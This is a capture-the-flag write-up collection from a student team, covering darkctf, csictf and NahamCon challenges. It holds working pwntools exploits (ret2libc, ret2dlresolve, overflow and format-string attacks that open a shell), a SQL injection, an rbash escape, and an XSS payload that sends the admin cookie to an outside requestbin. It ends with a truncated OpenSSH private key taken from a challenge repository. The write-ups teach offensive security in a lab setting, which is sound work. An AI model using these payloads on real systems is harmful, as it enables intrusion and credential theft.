Only this pageAll pages
Powered by GitBook
1 of 94

Writeups

crypt0nite

Welcome to crypt0nite, a CTF team consisting of high school and university students. Here you can find our writeups and hopefully some useful resources!

CTFs

darkctf

Web

Simple SQL

Briefing:

Try to find username and password. Webiste: http://simplesql.darkarmy.xyz/.

In the source we see the comment <!-- Try id as parameter -->.

Injecting a simple ?id=1 or 2=2 gives us the response Username : LOL Password : Try.

Trying ?id=2 or 2=2 gives us a difference response, Username : Try Password : another, so I tried a few more till at http://simplesql.darkarmy.xyz/?id=9%20or%202=2 you get the flag.

Flag:

darkCTF{it_is_very_easy_to_find}

Rev

helloworld

Briefing:

taking small Bites of Bytes File

looks hard to reverse, but really it just checks a funtion's output

  • Put a break on both checks

  • set the value of eax to 0 to pass them

  • get the flag

Flag:

darkCTF{4rgum3nts_are_v3ry_1mp0rt4nt!!!}

pwn

roprop

Briefing:

This is from the back Solar Designer times where you require rope to climb and get anything you want.

nc pwn.darkarmy.xyz 5002
from pwn import *

elf = context.binary = ELF('./roprop', checksec=False)
if args.REMOTE:
    libc = ELF('./libc-remote.so')
    p = remote('roprop.darkarmy.xyz', 5002)
else:
    libc = elf.libc
    p = process()


p.recvuntil('s.\n\n')

rop = ROP(elf)
rop.raw('A' * 88)
rop.puts(elf.got['puts'])
rop.raw(elf.sym['main'])

p.sendline(rop.chain())

leak = u64(p.recv(6) + b'\x00\x00')
log.success(f'Leak: {hex(leak)}')


p.recvlines(2)

libc.address = leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')

# ret2libc
rop = ROP(libc)
rop.raw('A' * 88)
rop.execve(next(libc.search(b'/bin/sh\x00')), 0, 0)

p.sendline(rop.chain())
p.interactive()

newPAX

Briefing:

Even though Solar Designer gave you his times technique, you have to resolve(sort-out) yourself and go deeper. This time rope willn't let you have anything you want but you have to make a fake rope and get everything.
nc pwn.darkarmy.xyz 5001

super basic ret2dlresolve exploit

from pwn import *

elf = context.binary = ELF('./newPaX', checksec=False)

if args.REMOTE:
    p = remote('newpax.darkarmy.xyz', 5001)
else:
    p = process()
rop = ROP(elf)

# obviously a ret2dlresolve
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * 52)
rop.read(0, dlresolve.data_addr, 100)
rop.ret2dlresolve(dlresolve)

p.sendline(rop.chain())

p.sendline(dlresolve.payload)                # now the read is called and we pass all the relevant structures in

p.interactive()

OSINT

Find Cell

I lost my phone while I was travelling back to home but I was able to get back my eNB ID, MCC and MNC could you help me catch the tower it was last found. Note: decimal value upto 1 digit

15B
challenge.txt

So firstly, after seeing what they have said about the eNB ID, MCC, and MNC, I decided to look up what they meant, so :

  • eNB ID : used to identify an EnodeB uniquely

  • MCC : mobile country code

  • MNC : mobile network code

You can distinguish which one is which by knowing that the MCC and MNC are both 3 digits so 81097 must be the eNB ID

We can use the MCC and MNC to find out that the cell tower is in the US, and that its provider is AT&T. Now we need to triangulate the cell tower so after a bit of googling I found a website called cellmapper.net, where you can specify the eNB ID, MNC and MCC, so finally you get the latlong coordinates by clicking on the location, which are 32.8464489 and -24.554806.

Flag:

Because we know that the briefing says the format is darkCTF{latitude, longtitude} to 1 decimal place we know that the flag is DarkCTF{38.4, 24.5}

The rounding is very odd

Dark Social Web

Briefing:

0xDarkArmy has 1 social account and DarkArmy uses the same name everywhere. Hint: The front page of internet

First off, running python3 sherlock 0xDarkArmy gives us hits on reddit, instagram and twitter, among others.

While nothing interesting was found on the twitter or instagram, there was a qr code posted on the reddit page, seen here

Scanning the qr code, we are directed to a .onion site, openable in tor. see here

At a first look it seems like a static template page. However navigating to /robots.txt we get half of the flag: darkctf{S0c1a1_D04k_

Opening up developer tools and going to the 'networks' tab, we can see that in the get request to the page, there is a custom HTTP header Flag: under Date. This contains the second half of the flag: _w3b_051n7}

Flag:

darkctf{S0c1a1_D04k_w3b_051n7}

Linux

Linux Starter

Briefing:

Don't Try to break this jail. ssh wolfie@linuxstarter.darkarmy.xyz -p 8001 password : wolfie

Sshing in and running echo $SHELL shows us we have an rbash shell- that is, a restricted shell.

Googling how to bypass this I found you could add 'bash --noprofile' to the end of the ssh command.

So running ssh wolfie@linuxstarter.darkarmy.xyz -p 8001 'bash --noprofile' gives us an unrestricted shell. From there, just cd imp and cat flag.txt to get the flag.

Flag:

darkCTF{h0pe_y0u_used_intended_w4y}

Find Me

Briefing:

Mr.Wolf was doing some work and he accidentally deleted the important file can you help him and read the file? ssh ctf@findme.darkarmy.xyz -p 10000 password: wolfie

Running ps aux to see the running processes showed us that the command tail -f /home/wolf1/pass was running at PID 10. However in the /home/wolf1 directory, this file was not to be found.

After googling how to view the contents of a background process I ran the command cat /proc/10/fd/* and got mysecondpassword123.

Since there was a wolf2 directory I figured this was the password for wolf2, so running su wolf2 and inputting this as the password means we are now wolf2. List the files and get the flag.

Flag:

darkCTF{w0ahh_n1c3_w0rk!!!}

forensics

Wolfie's Contact

Permalink

Briefing:

Wolfie is doing some illegal work with his friends find his contacts. File

  • Opening the file in autopsy, we can see some emails. In the headings of some, you could see parts of the flag.

  • Alternatively, this challenge could be done by opening the file in mousepad and ctrl + F searching for 'darkctf{'

Flag:

darkCTF{C0ntacts_4re_1mp0rtant}

Free Games

Permalink

Briefing:

Wolfie getting free games from somewhere. Find the full url to that game. Note: Use the same file provided in Wolfie's Contacts Flag Format: darkCTF{http://site} file

Using the same file from Wolfie's contacts, I searched for the string http:// in autopsy.

There were a few results but one was a .zip so I assumed this was the game.

Flag:

darkCTF{http://aries.dccircle34.com/realitydownloadgo/c4d37739ca3dc3ed2d4852395d5ed228/784b4647446e334c58556e5473326556422e624f612e51432e4a6472/2019/07/31/PencakSilat2_1.zip}

AW

Permalink

Briefing:

"Hello, hello, Can you hear me, as I scream your Flag! " file

Opening the file in sonic visualiser, you can see two audio streams. Seaparete the streams and then add a spectogram layer. Play around with the colour settings to see the flag more clearly.

Flag:

darkCTF{1_l0v3_5p3ctr3_fr0m_4l4n}

crypto

haXXor

you either know it or not take this and get your flag 5552415c2b3525105a4657071b3e0b5f494b034515

Permalink

As the name suggests, it's XOR.

We know the plaintext starts with darkCTF{ so using this as the key as so you'll get the actual key outputted- see here

Therefore using the key 1337hack gives us the flag- see here

Flag:

darkCTF{kud0s_h4xx0r}

Pipe Rhyme

Yes, we cheesed it.

python3 RsaCtfTool.py -n 0x3b7c97ceb5f01f8d2095578d561cad0f22bf0e9c94eb35a9c41028247a201a6db95f -e 0x10001 --uncipher 0x1B5358AD42B79E0471A9A8C84F5F8B947BA9CB996FA37B044F81E400F883A309B886 --private

Flag:

darkCTF{4v0iD_us1ngg_p1_pr1mes}

csictf

csictf ran from 17/07/2020 to 21/07/2020.

Crypto

Mein Kampf

Googling M4 UKW, we find out this is a type of enigma. M4 means there are 4 rotors; Gamma is the setting for the first rotor; the preceding 4 pairs of numbers are position and ring values respectively and the string of letters at the end are the plugboard values.

This leaves us with almost everything needed to decrypt the ciphertext. However, we are not given the values for rotors 2, 3 or 4; they can be in any position from I to VIII, so bruteforcing this we get the following:

Rotor 2 = I
Rotor 3 = IV
Rotor 4 = VII

Using this website, we get the flag:

Flag: csictf{no_shit_sherlock}

Rivest-Shamir-Adleman

These 3 guys encrypted my flag, but they didn't tell me how to decrypt it.

The source is as follows:

n = 408579146706567976063586763758203051093687666875502812646277701560732347095463873824829467529879836457478436098685606552992513164224712398195503564207485938278827523972139196070431397049700119503436522251010430918143933255323117421712000644324381094600257291929523792609421325002527067471808992410166917641057703562860663026873111322556414272297111644069436801401012920448661637616392792337964865050210799542881102709109912849797010633838067759525247734892916438373776477679080154595973530904808231
e = 65537
c = 226582271940094442087193050781730854272200420106419489092394544365159707306164351084355362938310978502945875712496307487367548451311593283589317511213656234433015906518135430048027246548193062845961541375898496150123721180020417232872212026782286711541777491477220762823620612241593367070405349675337889270277102235298455763273194540359004938828819546420083966793260159983751717798236019327334525608143172073795095665271013295322241504491351162010517033995871502259721412160906176911277416194406909

Rivest-Shamir-Adleman is the full name for RSA, a public-key cryptosystem widely used. You'll come across it many times in CTFs.

Now you can either try to break it manually, or use the great tool RsaCtfTool.

I decided to cheese it and use RsaCtfTool.

Simply inputting the values as so, we get our flag:

./RsaCtfTool.py -n 408579146706567976063586763758203051093687666875502812646277701560732347095463873824829467529879836457478436098685606552992513164224712398195503564207485938278827523972139196070431397049700119503436522251010430918143933255323117421712000644324381094600257291929523792609421325002527067471808992410166917641057703562860663026873111322556414272297111644069436801401012920448661637616392792337964865050210799542881102709109912849797010633838067759525247734892916438373776477679080154595973530904808231 -e 65537 --uncipher 226582271940094442087193050781730854272200420106419489092394544365159707306164351084355362938310978502945875712496307487367548451311593283589317511213656234433015906518135430048027246548193062845961541375898496150123721180020417232872212026782286711541777491477220762823620612241593367070405349675337889270277102235298455763273194540359004938828819546420083966793260159983751717798236019327334525608143172073795095665271013295322241504491351162010517033995871502259721412160906176911277416194406909

csictf{sh0uld'v3_t4k3n_b1gg3r_pr1m3s}

Linux

AKA

Netcat into the given domain an port. Trying a bunch of different commands it appears that none of them do what you'd expect.

Running alias shows that there are different aliases for commands which let you open files. Instead of trying to figure them all out I converted the flag.txt file to base64 with base64 flag.txt. Then it was a simple matter of copying the output and decoding it (I used cyberchef).

Miscellaneous

No DIStractions

Very easy misc challenge.

  • Join the discord server

  • Run .flag

  • Bot says to dm and then deletes your message

  • Simply message the bot with .flag and you get the flag from the bot.

OSINT

Pirates of the Memorial

The original photographer of this picture commented the flag on his post. Find the flag.

Good old Ironstone found the picture in this tweet. The comments mention that Arunopal Banerjee is the actual photographer; visiting the instagram account we find the picture posted, and the flag is in the comments.

Flag: csictf{pl4g14r1sm_1s_b4d}

Commitment

Hoshimaseok is up to no good. Track him down.

A quick google of the user hoshimaseok leads us to a GitHub page, found here.

We see two repositories, one called SomethingFishy. Fishy it looks indeed.

A quick glance inside this repo reveals nothing. However considering the title, Commitment, maybe there is a commit somewhere with the flag.

We can see that there are two branches - master and dev. Upon clicking compare, we see that there have indeed been many changes to this repo.

Scrolling through these, you will find the flag in index.js, which was deleted.

The contents of index.js are as follows:

API_KEY = randomapi
FLAG = csictf{sc4r3d_0f_c0mm1tm3nt}

Flag: csictf{sc4r3d_0f_c0mm1tm3nt}

Flying Places

A reporter wanted to know where this flight is headed. Where does he (the reporter) live?

Google image search reveals a screenshot of a tweet by Jack Ma containing the image. If we go onto his profile and find the tweet. Using Ctrl-F through the replies, we find this comment of a reporter asking where the flight is headed, mentioning they're from San Francisco.

Flag: csictf{san_francisco}

Shaken

I love this watch. It's been with me all over the world, from Istanbul to Shanghai
to Macau. I wear it with suits quite a lot. My boss liked it too. I remember
wearing it when she died. What is her successor's name?

I googled some of the keywords from the challenge brief

istanbul shanghi macau suits

In the results pictures of James Bond showed up, James Bond's most recent boss (known as M) is called Gareth Mallory.

Flag: csictf{gareth_mallory}

Pwn

Pwn Intended 0x1

I really want to have some coffee!

Smash the keyboard.

Flag: csictf{y0u_ov3rfl0w3d_th@t_c0ff33_l1ke_@_buff3r}

Scripting it

I guess if you really want to, you could...

python -c 'print "A" * 200' | nc chall.csivit.com 30001

Pwntools

Ok this is pushing it a bit

from pwn import *

p = remote('chall.csivit.com', 30001)

p.sendline('A' * 200)

print(p.clean().decode())

Pwn Intended 0x2

Travelling through spacetime!

Analysis

Sadly, we can't just smash the keyboard. Let's check what protections are enabled.

NX is enabled, so unfortunately no shellcode, but no other protections. Let's perhaps decompile it in GHidra.

So we have a 44-byte-long buffer storing our input, which is read by gets() - a clear buffer overflow vulnerability. Interestingly, the program seems to also return the flag if the if condition is met. I've known GHidra to make mistakes with numbers, so I check the disassembly in radare2.

Exploitation

As we can see, the buffer our input is stored in is lower down the stack to the variable that is compared, so if we overflow the buffer we will overflow into the other variable. From the decompilation we know the buffer is 44 bytes long, so we need 44 bytes of padding before we reach the checked variable and write 0xcafebabe.

from pwn import *

p = remote('chall.csivit.com', 30007)

payload = b'A' * 44
payload += p32(0xcafebabe)

p.sendline(payload)

print(p.clean().decode())

Flag: csictf{c4n_y0u_re4lly_telep0rt?}

Pwn Intended 0x3

Again, smashing the keyboard doesn't work. Sadly. Let's check out the protections:

Analysis

Again, smashing the keyboard doesn't work. Sadly. Let's check out the protections.

Same thing again, GHidra decompilation time.

Again, gets() shows a clear buffer overflow vulnerability. Among other functions there is a flag() function.

So, calling flag() returns the flag. Unsurprisingly.

Exploitation

We'll be using the buffer overflow vulnerability to redirect code execution to the flag() function. Some experimenting shows a padding of 40 bytes is needed to overwrite RIP.

from pwn import *

elf = ELF('./vuln')
p = remote('chall.csivit.com', 30013)

payload = b'A' * 40
payload += p64(elf.symbols['flag'])

p.clean()
p.sendline(payload)

print(p.clean(2).decode())

Flag: csictf{ch4lleng1ng_th3_v3ry_l4ws_0f_phys1cs}

Global Warming

Greta Thunberg 1 Administration 0

Analysis

This was a different type of binary exploitation challenge. First, check the protections.

Much like the others. Let's run it.

So our input is sent back to us, along with the notice that we cannot log in with input. As we control the print, let's check if there's a format string bug.

And indeed there is. Interestingly, there's no buffer overflow. Let's decompile it to see what's going on.

main is very simple - takes in input (using a secure fgets(), explaining why there was no BoF) and passes the input to the login() function.

Input it printed back to us, as we saw, with printf. This causes the format string. The interesting part is it checks the global admin variable before printing the flag.

Clearly, we have to overwrite the admin variable somehow. To do this, we're going to have to leverage the format string %n specifier for an arbitrary write.

%n takes a pointer to a signed int, where the number of characters written so far is stored. Because we can control certain aspects of the stack (as the buffer is on the stack) we can tell it where to write the data. As we can control the input, we can tell it how much. This gives us an arbitrary write. If we want to write 20 bytes somewhere, we input 20 characters and then call %n. We can even use other fancy format string specifiers to shorten it enough,

I would explain how to leverage this in detail, but frankly, others have done so much, much better than me :)

  • LiveOverflow - Format String with %n

  • Format String Vulnerability

There are plenty more resources online.

Exploitation

Luckily for us, pwntools contains a feature to automate %n exploitation.

You should understand how the exploit works before you use tools to do it for you.

The pwntools module is fmtstr_payload, and takes in two values: the offset for the format string and a dictionary. The keys in the dictionary are the location to write to, and the values are the data to write there.

from pwn import *

elf = ELF('./vuln')
p = remote("chall.csivit.com", 30023)

admin = elf.symbols['admin']
value = 0xb4dbabe3                              # this is the needed admin value

payload = fmtstr_payload(12, {admin : value})

p.sendline(payload)

print(p.clean().decode())

Flag: csictf{n0_5tr1ng5_@tt@ch3d}

Smash

My first C program that says hello, do you want to try it?

Smash was a very cool challenge where you were given the libc version used by the binary. You had to bypass ASLR and then execute a ret2libc attack.

Analysis

As per usual, run a quick checksec

Luckily for us, PIE is disabled and there is no canary. That makes our job much easier. Let's run it and see what happens.

Hmm, our input is printed back to us again. Is there another format string bug?

Indeed there is! Is a BoF possible this time?

Awesome.

There's nothing particularly interesting in the decompilation - main takes input and calls say_hello, which prints back to you.

No interesting strings either. As we are given the libc, everything points to a good old ret2libc attack.

Exploitation

As we only had one input, the logical approach would be to use a ret2plt to leak the address of puts in libc from the global offset table and call main again to let us have another input.

from pwn import *

elf = context.binary = ELF('./hello')

# Adapt for remote
if args.REMOTE:
    libc = ELF('./libc-remote.so')
    p = remote('chall.csivit.com', 30046)
else:
    libc = elf.libc
    p = elf.process()


# ret2plt
p.clean(1)

payload = flat(
    b'A' * 136,
    elf.plt['puts'],
    elf.symbols['main'],        # 32-bit - return address comes directly after the function call
    elf.got['puts']             # Parameter comes after the return address
)

p.sendline(payload)

p.recvline()                    # This is the 'Hello, <>!' string - we don't need this

puts_libc = u32(p.recv(4))      # The puts call. We only need the first 4 bytes (the GOT entry of puts)
log.success(f'Puts@LIBC: {hex(puts_libc)}')

libc.address = puts_leak - libc.symbols['puts']
log.success(f'Libc base: {hex(libc.address)}')

p.clean(1)

# Final ret2libc
payload = flat(
    b'A' * 136,
    libc.symbols['system'],
    libc.symbols['exit'],
    next(libc.search(b'/bin/sh\x00'))
)

p.sendline(payload)
p.interactive()

Flag: csictf{5up32_m4210_5m45h_8202}

Secret Society

Wanna enter the Secret Society? Well you have to find the secret code first!

Again, smash the keyboard.

Flag: csivit{Bu!!er_e3pl01ts_ar5_5asy}

Reversing

Blaise

I recovered a binary from my teacher's computer. I tried to reverse it but I couldn't.

Analysis

File Info

Running file blaise gives us this output:

blaise: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=00fb13e98a303dff4159e894942e363208415ba1, for GNU/Linux 3.2.0, not stripped

Important thing here is it isn't stripped, that it is dynamically linked, and it's 64-bit, which will make the rev easier.

Running the file

When we first run the file, we are given a two digit number, like so:

$ ./blaise
15

And we are promted for input. Inputting letters seems to end it, however typing a number keeps it running, and we can enter more:

$ ./blaise
19
12
24
a
$

Ghidra

Let's throw it into ghidra to see the pseudo-c code of the file. I've prepared the decompilation by renaming functions and variable already. Here's what our main function looks like:

However there isn't much useful info here, although we know that it calls the functions display_number and process

Let's decompile display_number:

We see here that it basically:

  • generates a random number between 15 and 20 (0xf and 0x14)

  • prints it

  • returns it

Let's decompile process now:

This is most important function, and a lot is going on here:

  • Firstly, we basically create a for loop using counter and the random number as the end

  • Then we read the input with scanf

  • Then with counter, and random number, we call another function called c, and output is stored in output. We'll come back to this in a bit

  • Then it compares this output with our input, and if they aren't equal it sets flagcheck to false

  • Increments counter, and starts loop again

  • Finally, at the end, it checks if flagcheck is true, if it is, it gives us the flag

So, in order to do this challenge, we need to write a script that constantly gives a number to the program, that equals the output of c, then reads the flag

function c

Let's decompile c:

So it makes 3 variables, using the f function, and then returns a value based on those 3.

Lets' decompile f:

Just does some maths with the provided number.

Scripting

To convert our two numbers (random and counter) to what is needed of the program, we'll port these functions to python, like so:

def f(num):
	ret = 1
	counter = 2
	while counter <= num:
		ret *= counter
		counter += 1
	return ret

def c(ran, counter):
	num1 = f(ran)
	num2 = f(counter)
	num3 = f(ran - counter)
	return num1 / (num2 * num3)

Using these, and pwntools, we can write our final script, like so:

from pwn import *
from sys import argv

if argv[1] == "r": 
	p = remote("chall.csivit.com", 30808)
else:
	e = ELF("./blaise")
	p = e.process()


rand = int(p.recvline())  # Recieves random number
log.info(f"random number: {rand}")

def f(num):
	ret = 1
	counter = 2
	while counter <= num:
		ret *= counter
		counter += 1
	return ret

def c(ran, counter):
	num1 = f(ran)
	num2 = f(counter)
	num3 = f(ran - counter)
	return num1 / (num2 * num3)

for i in range(0, rand + 1):
	data = int(c(rand, i))  # Gets required number
	p.sendline(str(data))   # Sends
	flag = p.clean()
	if flag:  # I was lazy :p
		log.info(f"flag is: {flag.decode()}")
		exit()

Flag: csictf{y0u_d1sc0v3r3d_th3_p4sc4l's_tr14ngl3}

RicknMorty

Rick has been captured by the council of ricks and in this dimension Morty has to save him, the chamber holding Rick needs a key . Can you help him find the key?

Analysis

First, let's see what running the program does.

The pairs of numbers are the program, the singular numbers are me typing back to it.

There's nothing particularly clear here, so let's disassemble it in GHidra.

int main(void)
{
  int random;
  time_t tVar1;
  long result;
  long input;
  time_t local_40;
  time_t local_38;
  time_t local_30;
  long number2;
  long number1;
  char *time_to_execute;
  int counter;
  int check;
  
  setbuf(stdin,(char *)0x0);
  setbuf(stdout,(char *)0x0);
  setbuf(stderr,(char *)0x0);
  tVar1 = time(&local_30);
  srand((uint)tVar1);
  time(&local_38);
  check = 1;
  counter = 0;
  while( true ) {
    random = rand();
    if (random % 3 + 4 < counter) break;
    random = rand();
    number1 = (long)(random % 10 + 6);
    random = rand();
    number2 = (long)(random % 10 + 6);
    printf("%d %d\n",number1,number2);
    __isoc99_scanf(&DAT_0040200f,&input);
    result = function1(number1,number2);
    result = function2(result + 3);
    if (result != input) {
      check = 0;
    }
    counter = counter + 1;
  }
  time(&local_40);
  time_to_execute = (char *)(double)(local_40 - local_38);
  printf(time_to_execute,"fun() took %f seconds to execute \n");
  if ((check != 1) || (30.00000000 < (double)time_to_execute)) {
    printf("Nahh.");
  }
  else {
    puts("Hey, you got me!");
    system("cat flag.txt");
  }
  return 0;
}

It looks very complicated, but we can ignore the bulk of it. What we need to focus on is the random number generation and what happens to it.

number1 = (long) (random % 10 + 6);
random = rand();
number2 = (long) (random % 10 + 6);
printf("%d %d\n", number1, number2);
__isoc99_scanf(&DAT_0040200f, &input);
result = function1(number1, number2);
result = function2(result + 3);
if (result != input) {
    check = 0;
}

Two random numbers are generated. They are passed into function1, then we +3 to the result and pass it through function2. The result of that is then compared with the number we input. If they are not the same, the check is set to 0.

if ((check != 1) || (30.00000000 < (double)time_to_execute)) {
    printf("Nahh.");
}
else {
    puts("Hey, you got me!");
    system("cat flag.txt");
}

At the end, if it's not 1 (and if takes under 30 seconds) the flag is read. So clearly we have to receive the numbers, work out what it does and then return the values (repeatedly) to get the flag.

Let's check what the two functions do.

function1

long function1(long num1,long num2)

{
  int counter;
  int answer;
  
  answer = 0;
  counter = 1;
  while ((counter <= num1 || (counter <= num2))) {
    if ((num1 % (long) counter == 0) && (num2 % (long) counter == 0)) {
      answer = counter;
    }
    counter = counter + 1;
  }
  return (long)answer;
}

We have a counter that loops until it is greater than a number; if both numbers are divisible by the counter the answer gets set to counter - this is clearly some sort of highest common factor function.

function2

long function2(long number)
{
  long lVar1;
  
  if (number == 0) {
    lVar1 = 1;
  }
  else {
    lVar1 = function2(number - 1);
    lVar1 = lVar1 * number;
  }
  return lVar1;
}

This looks like a weird function, but if you write it in, say, python, it's much clearer what it does:

def function2(number):
    if number == 0:
        return 1
    
    return number * function(number - 1)

This is a factorial function.

Now we know what it does, the flow is simple:

two numbers -> highest common factor -> +3 -> factorial -> compared to input

And we can write a script that does this for us.

Solution

from pwn import *
from numpy import gcd
import numpy

p = remote('chall.csivit.com', 30827)

while True:
    try:
        num1, num2 = map(int, p.recvline().decode().split()) # Cast and assign the two numbers
        log.info(f'{num1} {num2}')
    
        hcf = gcd(num1, num2)
        log.success(f'HCF of {num1} and {num2} is {hcf}')

        fact = numpy.math.factorial(hcf + 3)
        log.success(f'Factorial of {hcf + 3}: {fact}')
    
        p.sendline(f'{fact}')
    except ValueError:
        # If it's ValueError it can't be cast to an int, so we've received the flag
        break

print(p.clean(1).decode())

Flag: csictf{h3_7u2n3d_h1m531f_1n70_4_p1ck13}

Web

Oreo

My nephew is a fussy eater and is only willing to eat chocolate oreo. Any other flavour and he throws a tantrum.

Nice and simple web challenge.

Looking at the cookie of the webpage it appears to base64 encoded.

Encode the word "chocolate" into base64 then replace the current base64 in the cookie. The only thing to note is make sure that the base64 is also url encoded.

Mr. Rami

"People who get violent get that way because they can’t communicate."

Navigating to /robots.txt, we see:

# Hey there, you're not a robot, yet I see you sniffing through this file.
# SEO you later!
# Now get off my lawn.

Disallow: /fade/to/black

Navigating to /fade/to/black, we get the flag.

Flag: csictf{br0b0t_1s_pr3tty_c00l_1_th1nk}

The Confused Deputy

Looking at the source you can see that a request is made to http://chall.csivit.com:30256/view by the admin to view your colour. You can then specify a URL and a colour for the admin to use.

I set up a request bin at https://ennfyqj04serj.x.pipedream.net so that I easily could monitor requests made to that URL. But setting the URL that the admin visits to anything outside of http://chall.csivit.com:30256/view seemed to throw an error. However I can set the colour to anything I like.

Looking at the source of http://chall.csivit.com:30256/ it is clear that the only form of sanitising is that "<" or ">" are replaced with "". This means that later on I could use ">>" in the place of ">" and "<<" in the place of "<".

The final exploit looked like the following:

}<</style>>`;<<img src=x onerror=document.location="https://ennfyqj04serj.x.pipedream.net/?c="+document.cookie;>>

Everything before and including the first semi-colon is used to escape the tags/quotes which the url is in.

The admin cookie is then sent to https://ennfyqj04serj.x.pipedream.net/?c="+document.cookie and the cookie is your flag.

NahamCon

Crypto

Unvreakable Vase

The encrypted text we got given was

zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=

Some fiddling around with the capitalisation of the base64 characters got us the actually-printable string

ZmxhZ3tkb2VzX3RoaXNfZXZlbl9jb3VudF9hc19jcnlwdG9vb30=

which decoded to yield the flag.

flag{does_this_even_count_as_cryptooo}

Ooo-La-La

Use n, e and c in RsaCTFtool.

HomeCooked

So first we see that running the program slowly decrypts the string to yield a flag - but it's simply not fast enough. It never ends - we can check by putting a print() statement at the end. So, we'll have to somehow make it go faster - and to do this we need to work out what the functions do.

The b() function looks like this:

def b(num):
    my_str = str(num)
    rev_str = reversed(my_str)
    if list(my_str) == list(rev_str):
        return True
    else:
        return False

If we have a look at what it's doing, it seems to be reversing the input and comparing the two - so it returns True if the inputted number is palidromic, and False if it is not. We can't really make this more efficient, at least noticably.

The a() function, however, looks like this:

def a(num):
    if (num > 1):
        for i in range(2, num)):
            if (num % i) == 0:
                return False
                break
        return True
    else:
        return False

What this seems to be doing is looping through every value from 2 to n-1 and checking if n is divisible by it - a way of checking if it's prime. However, this is incredibly inefficient, and is probably the reason it takes so long. Let's make it more efficient and see if it does something.

We are going to use the sympy function isprime to change a():

from sympy import isprime

def a(num):
    return isprime(num)

Running this program spits out the full flag much faster now.

flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}

DocXor

We used this tool to guess the key, setting the keylength to 4 as this was said in the briefing.

We then used cyberchef to XOR the file with the key 5a 41 99 bb

It says it determines a .zip file, but when unzipping you realise it's a .docx file so change the extension to get:

flag{xor_is_not_for_security}

Forensics

Volatile

The challenge hinted at the need to use the tool Volatility.

First we run volatility -f memdump.raw imageinfo on the dump to get the OS version. We then use the cmdscan command to check the most recently run commands.

volatility -f memdump.raw --profile=Win7SP1x86_23418 cmdscan

One of these is

echo JCTF{nice_volatility_tricks_bro}

JCTF{nice_volatility_tricks_bro}

Microsooft

As it's a docx file we can extract all the individual parts using binwalk.

binwalk -e microsooft.docx

Then we navigate to /root/Desktop/_microsooft.docx.extracted/src/, open up oof.txt and Ctrl + F for flag.

flag{oof_is_right_why_gfxdata_though}

Alternatively, if you don't want to use the command line, change the extension to .zip and unzip

Navigate into the correct folder and open oof.txt. ctrl + F to search for the flag.

Cow Pie

Running strings on the file yields the flag.

Miscellaneous

Fake File

Just run

grep -r "flag{" | grep -v "sys"

Alkatraz

We can't use cat to read the file, so we'll have to find another way.

while read line; do echo $line; done < flag.txt

Mobile

CAndroid

Firstly I used 7z to unzip the .apk file.

7z x candroid.apk

Then I checked strings to see if there was a flag somewhere. Surprisingly, there was.

strings resources.arsc | grep flag

flag{4ndr0id_1s_3asy}

Simple App

A with CAndroid, I used 7z to unzip the .apk file.

7z x candroid.apk

Then I grepped all the files to see if there were any references to flag. If there were, I checked them out.

grep -rnw "flag"

This shows match in "classes.dex"

cat classes.dex | grep flag

flag{3asY_4ndr0id_r3vers1ng}

OSINT

New Year's Solutions

You can use dig to check out the URL.

$ dig ANY jh2i.com

;; ANSWER SECTION:
jh2i.com.               3600    IN      A       161.35.252.71
jh2i.com.               21600   IN      NS      ns-cloud-a2.googledomains.com.
jh2i.com.               21600   IN      NS      ns-cloud-a3.googledomains.com.
jh2i.com.               21600   IN      NS      ns-cloud-a4.googledomains.com.
jh2i.com.               21600   IN      NS      ns-cloud-a1.googledomains.com.
jh2i.com.               21600   IN      SOA     ns-cloud-a1.googledomains.com. cloud-dns-hostmaster.google.com. 48 21600 3600 259200 300
jh2i.com.               3600    IN      SPF     "flag{next_year_i_wont_use_spf}"

You can also head over here and input the URL there.

flag{next_year_i_wont_use_spf}

Tron

So first rag went around to common social media sites, and eventually found a GitHub account.

There was a pinned repository called Flagger. The directory was analysed, but nothing interesting was found except the description.

Capture the Flag service to collect flags

Sorry, your flag is in another castle.

At this point he had to go and I took over.

I decided to check his other repositories, one of which was a fork of a dotfiles repo. Since the other repo was a dead end, I decided to check this one out.

Something that caught my eye was the descriptive note GitHub added:

This branch is 2 commits ahead of calebstewart:master.

If it was two commits ahead, then this account must have mades those two changes. I clicked the Compare button next to this to check the changes, and they were very interesting.

One of these was an OpenSSH private key.

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAxHTNmVG6NLapytFkSDvLytH6aiE5GJRgkCV3mdxr3vLv+jSVs/73
WtCDuHLn56nTrQK4q5EL0hxPLN68ftJmIoUdSvv2xbd8Jq/mw69lnTmqbJSK0gc6MTghMm
3m3FvOoc/Unap6y5CkeqtY844yHsgeXqjVgOaUDsUqMjFAP+SIoQ+3o3aZEweUT4WarHG9
a487W1vxIXz7SZW6TsRPsROWGh3KTWE01zYkHMeO0vHcVBKXVOX+j6+VkydkXnwgc1k6BX
UTh9MOHxAxMK1nV6uC6JQijmUdW9q9YpMF/1VJRVwmzfdZTMTdrGFa7jJl+TxTAiViiBSn
o+IAWdB0Bo5QEoWy+/zzBlpBE9IdBldpH7gj7aKV6ORsD2pJHhbenszS+jp8g8bg8xCwKm
Jm8xNRN5wbdCJXAga5M5ujdXJgihnWtVlodRaZS2ukE+6NWcPx6JdKUpFodLtwO8bBaPFv
mjW9J7hW44TEjcfU2fNNZweL3h+/02TxqxHqRcP/AAAFgNfG1XLXxtVyAAAAB3NzaC1yc2
EAAAGBAMR0zZlRujS2qcrRZEg7y8rR+mohORiUYJAld5nca97y7/o0lbP+91rQg7hy5+ep
060CuKuRC9IcTyzevH7SZiKFHUr79sW3fCav5sOvZZ05qmyUitIHOjE4ITJt5txbzqHP1J
2qesuQpHqrWPOOMh7IHl6o1YDmlA7FKjIxQD/kiKEPt6N2mRMHlE+FmqxxvWuPO1tb8SF8
+0mVuk7ET7ETlhodyk1hNNc2JBzHjtLx3FQSl1Tl/o+vlZMnZF58IHNZOgV1E4fTDh8QMT
CtZ1erguiUIo5lHVvavWKTBf9VSUVcJs33WUzE3axhWu4yZfk8UwIlYogUp6PiAFnQdAaO
